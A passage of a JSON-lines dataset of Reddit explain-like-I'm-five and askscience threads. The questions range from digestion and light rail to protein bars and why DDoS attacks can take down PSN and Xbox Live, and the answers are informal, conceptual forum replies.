stuff your body doesn't need. ", "I am a guy who is 6'2 and of medium build that eats more than most people and my room-mates thought I was dying when I said I shit twice a week or 3 times max.\nWent to the doctor years ago and was told if I am not in pain or discomfort I am fine.\n", "It takes me a good two hours. Be jelly.", "how has exercise/fitness level not been mentioned? it plays a huge roll in getting bowels moving", "My husband will go two maybe three times a day and I go every two, sometimes three days. After two others mentioning the same thing, does anyone know if there is a reason that men would poo more than women? ", "Women don't poop", "Lotta people are so full of it you wonder if they have ever dropped a load.", "Brah, reading your comments it sounds like you might benefit from the low-FODMAP diet. Search it. It's based on recent research (so not many docs know about it yet). Also, if your docs haven't put you on probiotics, try that for a while."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "4cjebe", "title": "why would a city like sydney invest in light rail instead of just creating dedicated bus lanes? wouldn't the dedicated bus lanes provide greater flexibility and a lower cost?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4cjebe/eli5_why_would_a_city_like_sydney_invest_in_light/", "answers": {"a_id": ["d1iqg4w", "d1iqoox", "d1ir57u", "d1irx8d", "d1ivl5j", "d1j0nri", "d1j6lxz", "d1j8lv0"], "score": [30, 2, 18, 3, 2, 3, 4, 2], "text": ["The initial outlay for light rail is higher, but the running costs are far lower for light rail than bus services.\n\nYou need to find the balance between where to lay the tracks, and where to rely on busses.  It would not be viable to run tracks from (say) Rooty Hill to Parramatta, as the ridership would be so low.\n\n", "Cities still invest in highways for public cars, and that's obviously more expensive and less efficient than either light rail or bus lanes. Much of the decisions cities make are responding to consumer demand so they get voted in next election, rather than making the best decision.\n\nOne thing I will mention is that electric buses aren't much of a thing yet, but light rail is electrified, so offers an advantage in combating inner city air pollution.\n\n", "It's easier to get middle-class people to ride trains than it is to get them on busses.  They tend to think that busses are for poor people while light rail makes them sophisticated urbanites.", "Modern light rail can be automated.  Initially, the light rail system would be human operated.  Once all systems are up and working, the system can be easily automated.  There is less wear and tear on light rail vehicles.  Unlike busses, light rail is not necessarily affected by traffic as with all trains, they have the right of way in many places.  While in many other areas, the light rail system will share intersecting areas with traffic lights to allow an equal number of vehicles per train to pass.", "Light rail and dedicated buses each serve a specific need. Light rail serves the need of a heavily populated area in that it can move a large volume of people cost-effectively. Dedicated buses serve the need of the areas beyond the area served by light rail and in many cases extend the reach of light rail. It isn't a this or that situation, but rather an integrated system of rail and bus that form various transportation hubs based on commuter demands.", "Light rail has a much higher passenger carrying capacity, both in terms of how many fit on a segment of train cars, and how many train cars can run the same circuit. For a large city, light rail moves more people more often.\n\nThere are more nebulous long-vision issues that could be at play such as getting people out of their cars to reduce pollution, reduce traffic congestion (lessen the unending need to continue expanding the capacity of the road system etc.), reduce vehicular accidents, etc.", "Sex appeal.  If you're a public transportation booster, then Light Rail is the new and sexy thing.  Bus Rapid Transit is typically less expensive, even over the long run, and far more flexible.  But, it's a lot easier to convince voters to back a light rail system than to buy more buses.", "my town of London Ontario is having this debate right now too. Our bus system is shit first of all and the City thinks a LRT will improve that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "27b96f", "title": "why do health/protein bars have so much saturated fat and still be considered healthy?", "selftext": "Seriously, most bars in the aisles have as much, if not more saturated fat than candy bars -upwards of 25% to 35% of one's daily allowance yet, they are still considered and marketed as a healthy choice of food? Protein bars are notorious for this.\n\nWhat is it about making a \"health bar\" that requires it to have so much sat fat?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27b96f/eli5_why_do_healthprotein_bars_have_so_much/", "answers": {"a_id": ["chz4r5a", "chzcadi"], "score": [3, 2], "text": ["I think you're confusing healthy and \"useful for active people.\" Fat is extraordinarily energy dense and if you're the kind of person who works all day and also hits the gym or whatever you can get a protein boost, some sugar, some fat, and some vitamins in an easy sized bar.  Sitting around eating them instead of working out isn't a particularly good idea.", "It's the miracle of marketing. If it's on the label, it must be true! Kinda like the greenwashing you see where something like 100% chlorine bleach is hyped as all-natural and \"fresh\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3bbwwo", "title": "why is something that annoys us called a \"pet peeve\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bbwwo/eli5_why_is_something_that_annoys_us_called_a_pet/", "answers": {"a_id": ["cskqdw1", "csku4c7"], "score": [12, 3], "text": ["Well it's not just anything that annoys you, it's a specific thing that annoys *you* and seems to annoy nobody else. It peeves you, as it were, and you cannot let it go. you keep it around, like a pet.", "Here's what Etymonline says:\n\n > pet peeve (n.)\n\n > \"thing that provokes one most,\" 1919, from pet (n.1) in the adjectival sense \"especially cherished\" (1826), here in jocular or ironic use with peeve (n.).\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.etymonline.com/index.php?allowed_in_frame=0&amp;search=pet+peeve&amp;searchmode=none"]]}
{"q_id": "3nzxku", "title": "Why do ground glass joints make such a great seal?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3nzxku/why_do_ground_glass_joints_make_such_a_great_seal/", "answers": {"a_id": ["cvt656o"], "score": [5], "text": ["They don't actually. You'll find that using a glass stopper in, say, an extraction funnel will lead to leakage.\n\nIn order to create a proper seal for applications like a rotary evaporator, you'd need [vacuum grease](_URL_0_) around all joints, or you won't maintain a vacuum."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Vacuum_grease"]]}
{"q_id": "2qdtcq", "title": "why does it appear so easy for hackers to shut down multimillion dollar services like psn and xbox live?", "selftext": "Wouldn't you expect these services to have top notch cyber security as they are primarily Internet based services, or are the hackers just really good at what they do?\n\nEdit: thanks for all the answers! I appreciate the insight! \nAnd front page for my first post! Holy crap! Thanks everyone. Merry Christmas!! :D", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qdtcq/eli5_why_does_it_appear_so_easy_for_hackers_to/", "answers": {"a_id": ["cogklvp", "cn56gzd", "cn56my4", "cn57ovl", "cn58hbq", "cn593v2", "cn59o7t", "cn5aejj", "cn5ai7e", "cn5azhl", "cn5b35e", "cn5bel9", "cn5bexw", "cn5bfj0", "cn5c1um", "cn5c53q", "cn5c7qz", "cn5cg5a", "cn5crlg", "cn5cv28", "cn5djxa", "cn5dk5a", "cn5dp3b", "cn5dq7q", "cn5dule", "cn5e6i7", "cn5emb4", "cn5eqqx", "cn5ewpy", "cn5ey1k", "cn5f7fy", "cn5f8hi", "cn5fb0p", "cn5fcw8", "cn5fd7p", "cn5fexv", "cn5fqtg", "cn5fqzu", "cn5frs1", "cn5g2gl", "cn5gnu3", "cn5h4ea", "cn5hf96", "cn5hojt", "cn5i6cu", "cn5i961", "cn5id1n", "cn5jaii", "cn5jlxa", "cn5k2ja", "cn5kni2", "cn5kols", "cn5kr6c", "cn5lahp", "cn5lbyo", "cn5lhts", "cn5ljwe", "cn5lubl", "cn5m2ed", "cn5o8a2", "cn5on7j", "cn5pczi", "cn5pfjs", "cn5phjt", "cn5pm8a", "cn5q9q1", "cn5qd0e", "cn5sm7s", "cn5sq66", "cn5u0zs", "cn5umd6", "cn610ib"], "score": [2, 541, 3005, 133, 2, 7, 123, 5, 2, 2, 2, 2, 4, 3, 2, 4, 74, 41, 2, 2, 3, 3, 2, 2, 2, 3, 2, 3, 2, 2, 2, 2, 2, 2, 44, 2, 2, 2, 3, 2, 3, 3, 9, 2, 2, 12, 9, 10, 2, 2, 3, 5, 2, 2, 4, 3, 6, 2, 4, 5, 3, 2, 2, 3, 2, 2, 2, 2, 2, 3, 2, 2], "text": ["Visit  _URL_0_, you'll definitely like it :)\nA lot of stuff related to cyber security and cyber law is there", "From what I've learned, most times they just DDos the servers. Which is basically where they get a bunch of bot computers to overload the servers so that they don't work. It's not really considered hacking. Most anyone can download a program to do it with. ", "If you put enough traffic on a freeway, no mater how wide the freeway is, no one can get anywhere.\n\nthe same thing applies to networks, where if you flood them with enough traffic, with fake cars that don't actually want to get anywhere, nothing can get where it wants to go.", "Although some of these explanations are good about the \"shutting down\" websites and services. However, I'll go off on a tangent as they aren't really explaining why it looks easy to hack. Simply put, it's not easy. It's about finding flaws in *human* written code. Seeing as humans are either lazy or faulty at best (if not both). A lot of times hackers can simply try different tricks on a lot of sites and eventually they'll succeed. Once they succeed to gain access, they act super confident and pretend they knew exactly what they are doing. That is to scare companies and people as to show that they have power, this may make it seem like it is easy as that's what the media sees. \n\nA DDOS (Distributed denial of service) as it is called, is when you simply force a lot of traffic onto a connection so it has a hard time handling all the individual requests. It is really not that hard to do if you got access to some tools and a lot of computers at your disposal (who are being controlled by viruses for example, known as a bot net). These attacks usually will not last very long and therefore aren't considered very effective.\n\nThey can use these tools and as the media don't know the difference between an effective and a non-effective (ex. DDOS) attack, they just front page that a site has been hacked.\n\nAlso a slightly important side-note is that it's easy to overestimate security on sites.  \nReally, if you've been studying to become a programmer, you might expect a project to look really complex and organised, but then you join a company and see a really bad mess of code which no one can be bothered to fix and there in a lot of security errors might be... *Have you ever seen a legacy project?*\n\nEdit: Please comment if there is something you don't understand. I wrote this on the top of my head and not really directed at 5 year olds.", "Wait, were their passwords saved as PlainText files, too?", "It's for the same reason as everything else, actually.\n\nYou spend hours building a house of cards, and it'll take one second to destroy it.    \nYou'll invest an incredible amount of effort into a relationship, and it can still be broken by barely any effort at all.    \nA building takes months or years to build, bringing it down is so easy.    \nLife took billions of years to get to where we are, and yet you could kill someone with barely any effort at all.    \nWe take years building highways, one collision is enough to stop traffic for a long time.    \nBig Ben can be stopped by something as small as a wrench.\n\nThe internet is just like the world in general, it's a construct that took an insane amount of effort to build to what it is today, but destroying it or exploiting it is the simplest thing in the world.   \nIt's as easy to destroy as it is destroying a forest (all you need is gasoline), and it's as easy to exploit as it is chopping down a forest (all you need is an axe.)", "Application security professional here. (Shit I *just* had that 'holy fucking Christ i'm an adult' moment...weird....aaaaanway) \n\nFirstly, I got a lot of positive feedback on a post that tried to [explain 'hacking' to the layman](_URL_0_), so I think that might give you a good frame of mind to start with. It doesn't answer your question but it might give you a clearer idea about 'hacking' \n\n\nSo, the basic answer to your question is two-fold, firstly, basically every modern system has bugs and vulnerabilities: \n\n* It is *incredibly difficult* to demonstrably, provably write bug-free code, even on a relatively small scale. \n\n* Very, *very* few systems are built from the ground up - they depend on other technologies, layers, frameworks - even simple systems are built on top of other technologies/frameworks/environments so complex that it takes incredibly skilled software engineers to just know the jist of what each piece is, does and how it works. The average joe engineer can easily take actions which have consequences he doesn't see, and can't possibly know about. \n\n* Creating a security vulnerability just requires one engineer, building one tiny aspect of one tiny piece of one massive, incredibly deep system to slip up - which is very easy to do for even a very good developer, as explained above. \n\n* Basically, security vulnerabilities are almost inevitable in non-trivial systems. \n\nSecondly, one side is just more motivated: \n\n* Finding and exploiting one of these vulnerabilities potentially  means millions of dollars of easy, tax free profit for an attacker....finding an repairing these vulnerabilities is just a day in the office for a developer - 'We need to be better every single day, they just need to be better once' as my boss used to say. \n\n* The start-up costs for a 'hacker' are relatively small: Some books, a computer, an internet connection, a lot of free time and a metric-buttload of patience. The costs for building and maintaining an enterprise scale application, as well as maintaining a dedicated trained penetration testing team, following the highest security standards, etc etc are relatively exorbitant. \n\n\n**tl;dr:**\n\n**Firstly, software systems are so complex that security vulnerabilities are almost inevitable in the code you write...let alone the myriad of other systems you depend on to make your system functional and available.**\n\n**Secondly, Security experts need to win every single day to prevent a breech and keep their averagely paid white collar job, hackers only need to win once to earn themselves everything from infamy to millions of dollars to furthering some political end** ", "Let's get this straight, DDoSers and hackers are two very different people.\n\nDDoS is used by hackers, but hacking is not used by DDOSers.\n\nBasically you have a doorway that can fit 2 people. What happens when 3 people all try to fit through the same doorway? They'll all get stuck or only one out of those three will get through. So it gets congested. This is a DDoS attack.\n\nA hacker is a person that knows software and code well enough to understand the framework that the company is using and may be aware of security loopholes they can use while a DDoS attack is imminent. Since there's so much traffic going on, it can be extremely difficult to trace the security breach back to who actually did it. Which is why it can take awhile before the person is caught. GOOD GOOD hackers not only know the software/code well enough to get in, but they know it well enough to delete any trace of them that has been there in the logs. (No, hackers do not use thumb drives to execute intricate scripts with a loading bar and sit there, wait and hope the swat team doesn't raid them. Anyone who knows anything about scripts will tell you this.)\n\nSource: I'm majoring in Software Engineering.", "Do we have any proof this is a DDOS attack?", "At least for sony, they didn't learn from 2011's attack. It's funny though how they just posted a job for a manager of \"incident response\" [here](_URL_0_) which means they've acknowledged their lack of security fundamentals and are hopefully moving towards a proactive, not reactive security model. There are reasons why some businesses don't go down during a DDoS, you have to pay to play and Sony isn't paying. ", "what I'm failing to understand is, if this is all just DDoS attacks for the sake of doing it, I mean....people will just go back to playing online again when the attackers are done with it and shit will just go back to normal.\n\nwhat's the goal of it anyway? no perm. damage, just delays a bunch of people from playing online. Grats annoying hobby that no one really cares about?", "Follow up question: Can you make a program, so simple and well programmed, that it can't be hacked via bug expoit?", "One of the biggest issues is the number of people whose computers have been hijacked and are 'zombies' under the control of the hackers. THese botnets receive the same command and work on the same weak point to flood capacity. And the simple, hard fact is that there is *always* a finite load any server/server farm/IP can take, and if a network already is at near capacity (say, during peak hours when the most users are on) it's not that hard (relatively speaking) to command a good size fleet of botnets to spam connections at that point and create an overload.\n\nIf the bot nets didn't exist, hackers would have to rely more on tricks like certain reflection/amplification attacks, one of which can cause an unpatched server to respond to certain packets with 500 times as much data, but aimed at a different IP address than the one the packet came from. ", "They spam a single purpose server with significantly more information than it can handle and that locks the whole grid up. Usually an authentication server (the server that logs you in) Those servers usually deal with small amounts of information (Usernames/PW) and so when they get flooded with a TON of request at once they lock up.\n\nPeople are using freeway examples, but to clog an entire freeway with cars is SUPER expensive, the \"hackers\" would need to have a ton of cars.\n\nInstead, they just went to the tollboth that all cars need to go through and smashed the console with a hammer. Now noone can access the freeway until a service tech comes out to fixes them.", "Most organisations do not allocate a proportionate amount of the budget to information security in relation to other areas, as infromation security does not add to profit and is costly - active prevention is costly compared to passive mitigation or monitoring. ", "Cus lizard squad are a bunch of fucking 12 year olds who think people look up to them.\n\nIn short. Many computers to a few server = overload = syn-flood = crash.", " >  Wouldn't you expect these services to have top notch cyber security as they are primarily Internet based services\n\nYes, we would, but sometimes they don't. [PSN hack is a prime example of incompetence](_URL_0_)\n\n > are the hackers just really good at what they do?\n\nHackers are, but most people who call themselves \"hackers\" are just script kiddies, I'll elaborate later.\n\nYou see, there are several techniques you can use to break in; on a very vulnerable system you will just need to know how to google, but on more secure systems you probably be needing to employ a mix of all techniques. In the end, hacking boils down to finding the weakest link. If you are a resourceful and determined individual, you WILL find a weak link and you will be able to exploit it.\n\n**Information: surveying the target**\n\nFirst thing an hacker needs is to know what he is attacking. Are there good protection systems? Which? Are the employees trained and aware about cyber security issues? Which software are they using? Is it up to date? etc etc etc\n\nThere are many ways to answer these questions, some you answer just by running programs you can download from the internet, others you will need to find out by yourself, others you can just ask, and others you may never see answered. Whatever the case, the more information about the system, the easier it is for the hacker to know what to do.\n\n\"Obfuscation is the best type of security\"  < - remember this!\n\n**DDoS - Distributed denial of service**\n\nEvery machine is limited in someway. If all computers in the world started to send crap at google, google servers WOULD go down. That is denial of service, sending so much crap to some machine that the target just disconnects because it can't handle all that traffic you sent. It is distributed because you need a lot of machines to make the attack; a single computer isn't enough.\n\nThis is very basic, very effective and it costs a lot of money and headaches to your target. Besides, you can literally hire someone with the access to the computing power needed for a Denial of Service attack for as little as $500 a day if you know where to look. Or better, you can download a simple app from the net, type the address you want to attack, hit the \"fire high orbit ion cannon\" and then call your friends to do the same. Your local news network website will probably go down like a fly. And you will go to jail.\n\nIt's not impossible to defend against a ddos, but it's very expensive because you need to pay for someone who owns the gear to defend you or you need the specialized gear (you need a $50.000+ hardware firewall, which is like a firewall but instead of an app it's literally a machine built entirely just for firewalling).\n\nBottom line is, it's very easy to do a ddos and very hard to defend against one. But on the bright side, the only thing bad that happens is the system becoming unavailable: no passwords stolen, no emails leaked, no credit card info released. The bright side about DDoS is that it's all about making your target suffer, nothing else.... \"bright side\"....\n\n**Known vulnerabilities** (PSN hack was all done like this)\n\n* an hacker wants to break into your computer. He is not sure if your pc is up to date but he is pretty sure it isn't. \n* The hacker goes to the Microsoft web site and checks which vulnerabilities that could give him access to your computer have been recently fixed.\n* He googles how to \"exploit\" that vulnerability. Some times there are already scripts (short programs that do only one thing) written to exploit that vulnerability. \n* He writes a script or uses the one he found on google to compromise the system.\n* Thus the name \"script kiddies\", you don't have to actually do the hard work of finding the vulnerability, most times you just need to run a script et voil\u00e1, you're in.\n\nThis is valid to any software. Linux, Microsoft, Apache, Oracle, etc, every vendor announces which vulnerabilities where fixed. And even when they don't you can just google for it.\n\n**Find your own vulnerabilities**\n\n If the system is fully up to date, you can try to find a vulnerability, but that is really really hard. First you must know a lot, and I mean, a lot about programming, operating systems, digital networks, databases and systems administration. Those are 5 completely distinct areas in which each of them can take a lifetime to master. Most of us know our way around all 5 but focus our attentions in one of those (eg I'm a programmer and my friend is a sysadmin).\n\nNow what I'm telling you is that you must be really good at all those 5 areas, which is something so hard to achieve I can't even put it to words. Then you must be very creative and resourceful because there are no instruction manual or rules or anything. It's you, your tools and a blackbox that you must somehow make work the way you want it to without opening it or even knowing what's inside. Every box is different and every hacker is different, but the bottom line is, this is pretty much basically guess work. \"Maybe if I try this, maybe they didn't do that\". And you will try and try and try and you will probably find nothing, because many did what you are doing before you and most vulnerabilities where already found.\n\n**Social Engineering**\n\nIt's as simple as discovering how some general's password was his dogs name at the pentagon. It's as simple as calling that 60 year old secretary and convincing her that you are from the IT department and you need her password. There are countless books about social engineering and truth be said, you can virtually compromise any system just by the power of social engineering alone. It's by far the simplest and the most effective \"hacking\" technique. \n\n\n**Discovering passwords: brute forces, dictionary attacks and db dumps**\n\nWhen you need to discover a password, you can just try every possible combination, that's called brute forcing, but it takes a long time and good passwords are virtually impossible to brute force. The alternative is dictionaries, which are just pre-built lists of the most used combinations of passwords.\n\nBest alternative are db dumps. Some hackers, when they compromise a server like the playstation server, they get all the passwords they stole and just post everything on the internet for everyone to see. \n\n**Escalation**\n\nEscalation just means you are getting higher privileges. Imagine you managed to enter the server hosting Microsoft web page. Congratulations, you did something really hard, but without any practical applications. Now you need to escalate, you need to jump from that web server to the e-mail server if you want to steal those e-mails or to the database server if you want those shinny passwords. The more secure a system is, the harder it is to escalate.\n\n**So... how can I protect myself?**\n\nBe smart, be informed. Keep all your software updated, use hard and different passwords for your more important accounts (not using your mail password on that browser game you love is a big start), enable two way authentication, don't install java if you can avoid it, don't use adobe reader, don't open shit you don't trust is legit, don't open any e-mails about penis enlargement, don't click on stupid shit on facebook, don't open torrent or download sites you don't trust, don't use pendrives(you don't need them in 2014). Extra points if you use Linux/iOS.\n\n\n**Is it even possible to be \"invulnerable\"? Is my company safe?**\n\nAlmost. Besides everything else I already said, the most important thing is you must isolate your modules. The better you isolate your machines and apps, the harder will it be for the hacker to escalate. The hacker must not be able to jump from one server to another freely. This is something (almost) as simple as having different passwords and different users with different privileges for each app but that most sysadmins seem to not do.\n\nThen there is obfuscation: don't use common things everyone users, don't use the name administrator for the administrator account, don't use the usual ip ranges (10.0.0.x and 192.168.0.x), don't show your users which applications you are running, etc. In short, don't do what everyone else does, and specially, don't show everyone how you are doing your security, be smart and hide your shit: \"Obfuscation is the best security\".\n\nBut the most important is protecting yourself from your own employees. Your employees will screw up by installing or downloading crap or may be fooled by an hacker, you mustn't allow this.\nConsultancy companies and pharmaceutical companies where the companies I noticed that had the best security systems, however, those systems end up being intrusive: Users cannot install any personal software on their company laptops, users can't open private e-mail there, to open the email you must be connected to the companies VPN and insert a special code that your keychain generates, your password changes every 30 days, etc. It's annoying, but it works. . \n\n\nYeah, we all know all these measures are very intrusive and a real pain in the ass, but they are absolutely necessary! So don't get mad at your IT guy and don't call him a fracking nazi behind his back. We do this because YOU are not informed and YOU will make mistakes that may compromise the whole company and consequently both your salary and my salary. We are not assuming you are stupid, we know you aren't, but it's our job to assume everything is a possible weak link and we don't want to leave any stone unturned. Sorry =(\n\n**Are you an hacker? Cause you sure sound like one...**\n\nNo, I've been a sysadmin and I'm now a programmer. Knowing what is out there and how to be protected is a tool of the trade.\n\nedit: added stuff on obfuscation and ddos, corrected typos", "Hacking is what happened at Sony Pictures last week.  Someone broke into their system, and stole a bunch of files/information, and is using them for financial/political/personal/who knows gain.  Doing that takes some combination of social engineering, well-written malicious code, disgruntled employees, unsecure networks, etc.  The hackers gain material benefit from what they are able to steal/manipulate.  \n\nWhen PSN/XBL go down it is usually something else called a Denial of Service (DoS) attack.  Instead of maliciously accessing PSN/XBL and turning it \"off,\" people can shut down these networks through sheer noise.  These \"hackers\" gain by denying others usage of a common resource.  A common gain from this type of attack is to extort payment to stop this attack.  \n\nA malicious user(or users) who have access to other computers (through viruses, malware, etc), gets those computers to all start talking to PSN/XBL.  Those machines aren't going to actually do anything with the network, but the sheer noise of all of them figuratively saying \"hello PSN!\" makes the PSN unable to handle them and the legitimate requests.  \n\nThink of a line to check out at a grocery store.  A hacking approach would be to hack in, change the prices of everything in your cart to $0.01, and then checking out with $200 of groceries for spare change.  The DoS approach would be to get a thousand people to just stand in the checkout lines but not actually buy anything.  \n\nBoth can be damaging to the target, but there are totally different goals and totally different levels of skill required to pull off either attack.  ", "It's not easy for hackers to shut down these services, its just that when they do, its everywhere on the media. Ddosing is a simple process, but on these huge networks, it requires a large amount of effort.", "Because, apparently, the amount of money that a service makes due to popularity does not proportionally increase the cost of running the services. There are probably dozens of IT, devops, and other people who are frequently suggesting \"If we don't fit X into the budge then things could get bad\" - and probably some exec with poor judgement ignoring them. The people who warned the exec probably get fired or reprimanded in this case as well.\n\nWelcome to the world of corporate silliness.", "please do not confuse DDOS with hackers or cyberterrorism.", "Why does DDOS work is my question. Microsoft rakes in billions from xbox live fees, yet they don't have enough servers to handle a fake surge in traffic? They should have such a robust server system it should be able to handle the excess traffic and load balance like amazon web services. Instead of our money going towards a beast server/cloud network, it goes to executive bonuses. ", "As far as knocking them offline this is often ddos attacks and as other people have said, there is little you can do to prevent it. Also this is NOT hacking.  As far as actual compromising of systems go, information security is a constant cat and mouse game with the odds heavily favoring the attackers.   Attackers come up with new ways to break in, defenders figure out a way to prevent it, attackers figure out how to bypass that, and so on.  Due to the large  complexity of networks in companies like Sony and the quickly changing threat landscape,  this is a very hard thing for companies to effectively with.", "You ever saw that head IT guy's folder who works at Sony? Not only were the passwords plain text but they were stored in filenames like password.txt, password_main.txt etc.\n\nJust because they are multimillion dollar companies doesn't mean they hire mutlimillion dollar level talent.", "yet steam goes down less than xbl or psn. all hail gabe", "Thank God for this thread, I'm actually learning quite a bit about networking.", "it is easy to shut something down, not so easy to hack into it - just need to send millions of page requests quickly to over load the sites/networks ability to function. \n\n However it will still be a big operation, they must have to make millions of page requests in a very short time (using many computers that automatically keep refreshing the page etc)", "Simply because nothing is completely hack proof.  If they want to get in..they will.", "The general rule in cyber security is that you cannot make a system 100% secure; the only system that is 100% secure is a system that is unusable and unreachable.\n\nThe goal of cyber security is to raise the barrier of entry higher than most of your adversaries are able/willing to commit to.  Only have $1 million dollars in assets? Why would an adversary then spend $10 million to aquire the necessary research, recon, infrastructure to break your security (which we've established will never be impossible) when there are other, vastly easier targets?\n\nThese companies are always targets and once an adversary invests more than what their security teams invests, they will fall over.  This is the case with every organization, no matter whether it's private, corporate or governmental.", "Probably because instead of beefing up their infrastructure they just took all the money from subscriptions and pocketed it. Maybe a tiny bit was put into infrastructure ", "More importantly, how long does it take to remedy a situation like this? I feel terrible for all the kids who's Christmases are ruined even if they were going to fuck my mom.\n\n\n...and I want to play destiny...", "I also count the amount of new users to add in the vulnerability of the servers.  This could easily assist making a DOS attack successful.  ", "You'd think that there are a lot of hackers that are also gamers. Why block this? Why not fuck with Kim Jong Un some more for the lolz.", "I think most of the times it's not a matter of quality of the hacker, it's a matter of power.", "Because we don't hear about the failed attempts.", "If I park my car on the golden gate bridge, the bridge is effectively shut down too.\n\nIt appears easy because it is. It is easy because it is unimaginably expensive to make a system unbreakable.", "So is a DDoS attack sort of like 100,000 people trying to call a single phone number over and over again? So when your mom legitimately tries to call, she can't get through...and the phone keeps allowing all the other ccalls because it can't differentiate between Mom and all the other people. \n\nThat is how my ignorant mind sees it. Like, it's not really a security issue because no information is at stake because it isn't even targeted.\n\nAlso, the torrent file downloaded would have to be an .exe file wouldn't it?", "Simple explanation is simply DDOS attacks are pretty much impossible to completely prevent... there's always another way", "This is the case for everything, as scary as that is. Gaming platforms are just a popular target. Here's one way to look at hacking:\n\nAttackers (bad guys) only need to breach in one out of very many possible ways. Defenders (good guys) need to protect every single one of those ways. If they miss a single one, that could be the one that the bad guys use.", "Because paying the boss more money is more important than paying it and devs good money", "Imagine you're a king with a castle. You need to protect against every single attack your enemies might come up with. You build a moat, they get floaties. You get crocodiles, they feed them meat with sleeping pills. You bar the windows, they bring hacksaws.\n\nAs the king, you need to protect against every vulnerability. As the thief, you only the king to miss one thing.", "Something along the lines of if a ddos attack is considered elite hacking, using an axe on a door makes you a locksmith. ", "It used to be necessary to have a large \"botnet\" in order to perform a DDoS attack (distributed denial of service). Now, instead of having a bunch of \"bots\" flood the target server with traffic, a much smaller group of \"bots\" will trick public servers (such as DNS and NTP (network time protocol) into flooding the target server with traffic, essentially taking it offline. This is called an \"amplification\" attack.\n\nWhen an amplification attack occurs, the \"bots\" send a tiny request to a public server using a forged return address. The type of request is usually the type that returns the largest response. With an NTP server, that type of request is called a \"Monlist\" request. It asks for the most recent servers who previously talked to that NTP server. Due to the command being poorly thought-out, it was designed to return a list of up to 600 servers! This is a large chunk of information that is then returned (thanks to the bogus return address) to, let's say Microsoft's servers. Although Microsoft's routers know that this data wasn't requested and discard it immediately, all of these responses (thousands upon thousands per second) take up Microsoft's bandwidth, which squeezes out lots of legitimate traffic. \n\nMicrosoft and Sony have a long road ahead of them. They already spend millions paying for bandwidth and load balancing to handle legitimate traffic but now will be forced to spend far more money to mitigate attacks. Simply buying more bandwidth isn't a viable solution, as these \"Lizard Squad\" fuckwits will simply amplify their attacks more to match the increased bandwidth. The only true solutions are to patch vulnerabilities (such as the seemingly-useless \"monlist\" command for NTP servers) and try to design Xbox Live/PSN so that gamers can still game despite network outages. \n\nDDoS will never go away. Even if Lizard Squad all get arrested there will be a copycat group that will pick up where they left off. The only good that can come out of this is heightening everyone's awareness of network vulnerabilities, which leads to bigger security budgets and improved attack mitigation in the future. Sony and Microsoft are getting caught with their pants down and need to spend some of their billions they've earned in mitigating this type of damage. [Hey, if CloudFlare can do it, so can they.](_URL_0_)", "Because they're not hackers. They aren't breaking into any system, they're just flooding it with more information than they can handle, so it shuts it down.", "I am very late but - Sand_Trout made the most relavent comment as to why companies get brought down - as far as data theft however.\n\nUnfortunately System security as a whole perpetually falls into the \"good enough\" category.  All even a concerned and good IT team can really do is put forth a risk assessment and a plan to fill the holes.  Typically though while major problems might get fixed even in a software company leadership has a \"who would attack us\" or \"that cost isn't justified\" mentality, and other projects get pushed forward until the shit hits the fan and you are putting out fires.  \n\nGood enough to pass audit or whatever standards body the company works with has been my experience never better, some times worse.\n", "DDoS attacks are not hacking per se.\nThe reason DDoS attacks are so easy is because they are publicly facing services.\n\nLet's say you have a legit brick and mortar store. Let's say you bake and sell cakes.\n\nOf course your business is limited to how many people you can serve at one given time. Limiting factors are how much space you have, how big the door is, how many bakers you have, and how many cashiers you have. Let's say you can support 20 people looking at cakes and placing orders.\n\nLet's say I want to hurt your business for the lulz. I walk in and start fucking around, you can ignore me because 19 other customers can come in and place legit orders. I can't do it alone. This is the magic of a DDoS attack. DDoS stands for **Distributed Denial of Service**.\n\nDenial of Service (**DoS**) is exactly that. I somehow cause an interruption of service to legitimate customers. A DISTRIBUTED DoS attack spreads the load of hurting your business out among others so that I don't have to do it alone.\n\nAll I have to do is get more than 20 people to clog up the front of your store. I call up 30 of my friends and have them call up 30 of their friends so on and so forth, we gather up hundreds of people to come by your store at the same time to all get a sample, see how lifelike you can make cakes shaped like giant penises, and order a cake for Chuck U. Farley's Birthday extravaganza...\n\nThing is, with computers, you don't even need to know 30 people who know 30 more and so forth... Newer malware can turn every infected computer into a bot (drone, zombie, etc.) that will do things by remote control. Once you have a bunch of infected computers throughout the world they turn into a network of robots; AKA a BotNet.\n\nGetting back to my dumbed down cake shop example, so how do you stop me from coming in with my buddies and their friends and their friends of friends?\n\nWell, you can only deal with high end hotels and catering companies stop dealing with the general public... That stops random jackasses from coming in. This is difficult to do with PlayStation Network and Xbox live because everyone needs to have access to these services.\n\nYou can open two or three locations. That way, if I clog up Bakery A, you can shift legitimate customers to Bakery B and C.\nThing is, you've still gotta be able to tell your legitimate customers from Bakery A to go to Bakery B and Bakery C. Now all my buddies know and they'll start clogging up Bakery B and Bakery C. Likewise, Microsoft and Sony have multiple datacenters for their services. They're all publicly facing and I could check my own PlayStation or Xbox to see where it's trying to connect to.\n\nYou could put a security guard at the door. Unfortunately that slows service down.\n\nIn the end, you basically have to make your establishment bigger than I can clog up. Whether that means opening even MORE locations, making your stores even BIGGER than they already are, or putting more security at the door. Attacks like this are pretty much unavoidable, they have to be ridden out.", "Mostly DDOS or distributed denial of services attacks. All online services use IP and TCP/UDP protocols. Sony and MS have dedicated data centers which gaming users' machines connect to. Hackers open large number of simultaneous TCP SYN connections which take a while to shut down. While this is happening, a real user cannot connect as the servers in the data centers as they still have limited capabilities and are waiting for the old connctions to end. ", "Cybersecurity guy here. The short answer is most organization don't take security very seriously. Many believe that a well known name will get the job done and it sounds good to 